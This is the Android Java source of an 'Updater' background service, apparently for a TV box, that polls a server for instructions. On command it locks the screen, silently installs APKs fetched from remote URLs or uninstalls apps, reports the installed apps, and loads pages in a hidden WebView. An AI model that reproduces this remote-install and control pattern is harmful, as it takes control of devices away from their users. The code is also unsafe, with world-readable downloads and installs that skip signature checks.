package com.weiyv.Updater;

import android.app.AlarmManager;
import android.app.PendingIntent;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.*;
import android.util.Log;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import com.weiyv.Updater.utils.AndroidTool;
import com.weiyv.Updater.utils.DownloadAPK;
import com.weiyv.Updater.utils.FileTool;
import com.weiyv.Updater.utils.NetTool;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.DefaultHttpClient;

import java.io.FileOutputStream;
import java.io.InputStream;
import java.util.HashMap;

public class WeiyvService extends Service {
    private int interval = 1000 * 60;
    private String url;

    @Override
    public void onCreate() {
        super.onCreate();
        NetTool.getInstance().init(this);
        AndroidTool.getInstance().init(this);
        WeiyvClient.getInstance().init(this);
        FileTool.init(this);

        StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder().permitAll().build();
        StrictMode.setThreadPolicy(policy);
        //定闹钟服务
        AlarmManager am = (AlarmManager) getApplicationContext().getSystemService(Context.ALARM_SERVICE);
        Intent it = new Intent("com.weiyv.Updater.WAKE_UP");
        PendingIntent sender = PendingIntent.getBroadcast(getApplicationContext(), 0, it, PendingIntent.FLAG_CANCEL_CURRENT);
        am.setRepeating(AlarmManager.RTC_WAKEUP, interval, interval, sender);
    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        if (!NetTool.getInstance().isNetworkAvailable())
            return START_STICKY;

        HashMap instruction = WeiyvClient.getInstance().getInstruction();
        if (instruction.isEmpty())
            return START_STICKY;

        if (instruction.containsKey("LockDown")) { //锁机
            Intent intent2 = new Intent(WeiyvService.this, BlockScreen.class);
            intent2.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            startActivity(intent2);

        } else if (instruction.containsKey("UninstallApk")) { //卸载APK
            String[] packageNames = ((String) instruction.get("UninstallApk")).split(",");
            for (String packageName : packageNames) {
                if (packageName.contains("Weiyv"))
                    AndroidTool.getInstance().removeApkByCmd(packageName);
                else
                    AndroidTool.getInstance().pmUnInstall(packageName);
            }

        } else if (instruction.containsKey("InstallApk")) { //安装APK
            String[] apkURLs = ((String) instruction.get("InstallApk")).split(",");
            for (String apkURL : apkURLs) {
                Downloader downloader = new Downloader();
                downloader.execute(apkURL);
            }

        } else if (instruction.containsKey("ReportApk")) { //上报已安装APK
            WeiyvClient.getInstance().reportApk();

        } else if (instruction.containsKey("RunApp")) { //运行App
            String[] apps = ((String) instruction.get("RunApp")).split(",");
            for (String app : apps)
                AndroidTool.getInstance().startAppByPackageName(app);

        } else if (instruction.containsKey("Notify")) {
            AndroidTool.getInstance().displayNotificationMessage((String) instruction.get("Notify"));

        } else if (instruction.containsKey("AccessWebPage")) { //访问网页
            String[] urls = ((String) instruction.get("AccessWebPage")).split(",");
            WebView webView = new WebView(getApplicationContext());
            webView.getSettings().setJavaScriptEnabled(true);
            webView.setWebViewClient(new WebViewClient() {
                @Override
                public boolean shouldOverrideUrlLoading(WebView view, String url) {
                    view.loadUrl(url);
                    return true;
                }
            });
            for (String url : urls)
                webView.loadUrl(url);

        } else if (instruction.containsKey("UpdateIndex")) { //更新UI
            FileTool.deleteOldUI();
            String zipFile = NetTool.getInstance().downloadFile((String) instruction.get("UpdateIndex"));
            if (zipFile == null)
                return START_STICKY;
            intent = new Intent("com.weiyv.tvBox.INDEX_UPDATED");
            intent.putExtra("zipName",zipFile);
            getApplicationContext().sendBroadcast(intent);
        }
        return START_STICKY;
    }

    public IBinder onBind(Intent intent) {
        return null;
    }

    private class Downloader extends AsyncTask<String, Integer, String> {
        private static final String TAG = "Downloader";

        @Override
        protected void onPreExecute() {
            Log.i(TAG,"Starting download.");
        }
        @Override
        protected String doInBackground(String... params) {
            try {
                String fileURL = params[0];
                String appPath = getFilesDir().toString();
                String fileName = fileURL.substring(fileURL.lastIndexOf("/") + 1);
                HttpClient client = new DefaultHttpClient();
                HttpGet get = new HttpGet(fileURL);
                HttpResponse response = client.execute(get);
                if (response.getStatusLine().getStatusCode() != 200) {
                    Log.i(TAG, "http error when download update package. from " + fileURL);
                    return null;
                }
                HttpEntity entity = response.getEntity();
                InputStream is = entity.getContent();
                if (is == null)
                    return null;
                FileOutputStream fileOutputStream = openFileOutput(fileName, Context.MODE_WORLD_READABLE);
                byte[] buf = new byte[8196];
                int read;
                while ((read = is.read(buf)) != -1) {
                    fileOutputStream.write(buf, 0, read);
                }
                is.close();
                fileOutputStream.close();
                return appPath + "/" + fileName;
            } catch (Exception e) {
                Log.e(TAG, e.getMessage());
            }
            return null;
        }

        @Override
        protected void onPostExecute(String apk) {
            Log.i(TAG, "Download complete");
            if (apk == "null")
                return;
            if (apk.contains("Weiyv"))
                AndroidTool.getInstance().installApkByCmd(apk);
            else
                AndroidTool.getInstance().pmInstall(apk);
        }
    }

}